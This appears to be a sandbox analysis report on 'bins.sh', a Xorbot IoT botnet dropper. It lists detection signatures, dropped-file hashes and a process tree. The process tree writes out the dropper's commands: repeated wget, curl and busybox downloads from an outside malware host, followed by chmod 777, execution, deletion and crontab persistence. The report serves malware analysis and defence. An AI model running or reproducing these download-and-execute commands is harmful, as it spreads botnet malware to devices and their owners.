Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    19/01/2025, 22:07

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250119-11mamsymgr
  • SHA256 a74e48cd9c641d9d257d89bf075e16eb59eb73ef1d324e9f088f76d0198476b2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 23 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          ./COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            ./wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              2⤵
              • System Network Configuration Discovery
              PID:752
            • /bin/chmod
              chmod 777 kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              ./kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              2⤵
              • Executes dropped EXE
              PID:756
            • /bin/rm
              rm kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
              2⤵
                PID:759
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:761
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /bin/chmod
                chmod 777 H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                2⤵
                • File and Directory Permissions Modification
                PID:805
              • /tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                ./H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                2⤵
                • Executes dropped EXE
                PID:806
              • /bin/rm
                rm H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                2⤵
                  PID:808
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:809
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:810
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod 777 RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  2⤵
                  • File and Directory Permissions Modification
                  PID:813
                • /tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  ./RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  2⤵
                  • Executes dropped EXE
                  PID:814
                • /bin/rm
                  rm RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                  2⤵
                    PID:816
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:817
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:818
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:828
                  • /bin/chmod
                    chmod 777 pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:832
                  • /tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    ./pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    2⤵
                    • Executes dropped EXE
                    PID:834
                  • /bin/rm
                    rm pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                    2⤵
                      PID:836
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:838
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:846
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:856
                    • /bin/chmod
                      chmod 777 dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                      2⤵
                      • File and Directory Permissions Modification
                      PID:859
                    • /tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                      ./dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:860
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:862
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:863
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:864
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:865
                          • /bin/rm
                            rm dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                            2⤵
                              PID:867
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
                              2⤵
                              • System Network Configuration Discovery
                              PID:870
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/WXqNE3wk5Ushu3ZsB7IMwuVFTmfbGqB0VX
                              2⤵
                              • System Network Configuration Discovery
                              PID:871

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju

                                • Path /tmp/COGtMLAVbmAAeVT7poKXAcUb3sloalI8Ju
                                • Size 177KB
                                • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                • MD5 SHA1 SHA512 SSDEEP

                                H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn

                                • Path /tmp/H33T1Y4NcuP30CGi5DH4gdFs9wYWpaRfjn
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP

                                RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A

                                • Path /tmp/RSkFhhvkBMf4FGeJgadJhmU3M85jGDP46A
                                • Size 122KB
                                • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                • MD5 SHA1 SHA512 SSDEEP

                                dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls

                                • Path /tmp/dwz3dglOWckQ6rVXYVKKKBas5m59Pfxuls
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP

                                kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv

                                • Path /tmp/kIeyY1kD0GMbBxOgJWcbdUajcEZSBA4eTv
                                • Size 111KB
                                • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                • MD5 SHA1 SHA512 SSDEEP

                                pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ

                                • Path /tmp/pZXXeYWCt233SHg5aO8sOEwcHvSn0WMssZ
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed

                                • Path /tmp/wfR7tV7datHKSgN2v4jzBoiwMm02iTUMed
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.kIq65x

                                • Path /var/spool/cron/crontabs/tmp.kIq65x
                                • Size 210B
                                • SHA256 2b41dc1ce18e7a63334bfe66343876beff4d4d0476ac38db9545882f0a348998
                                • MD5 SHA1 SHA512